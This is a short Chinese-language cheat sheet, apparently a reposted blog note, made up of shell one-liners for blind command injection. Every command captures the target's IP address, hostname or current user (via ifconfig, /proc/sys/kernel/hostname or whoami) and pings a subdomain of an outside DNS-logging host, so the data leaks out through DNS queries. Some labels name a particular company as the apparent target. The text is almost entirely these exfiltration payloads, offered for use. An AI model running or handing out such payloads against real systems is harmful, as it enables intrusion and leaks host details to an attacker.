标签:sys 传递 whoami 命令 适用于 vivo host roc who
IP:
# 适用于 eth0 inet addr: IP的情况
ping `ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`.vivo_fj_ip.q734y5p2.dnslog58.top
ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'`.kiwe2t.dnslog.cn
# 适用于 eth0 IP的情况
ping `ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`.vivo_fj_ip.q734y5p2.dnslog58.top
ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'`.kiwe2t.dnslog.cn
hostname
ping `cat /proc/sys/kernel/hostname`.vivo_fj_hostname.q734y5p2.dnslog58.top
user
ping `whoami`.vivo_fj_use.rq734y5p2.dnslog58.top
标签:sys 传递 whoami 命令 适用于 vivo host roc who
原文地址:https://www.cnblogs.com/huim/p/11993042.html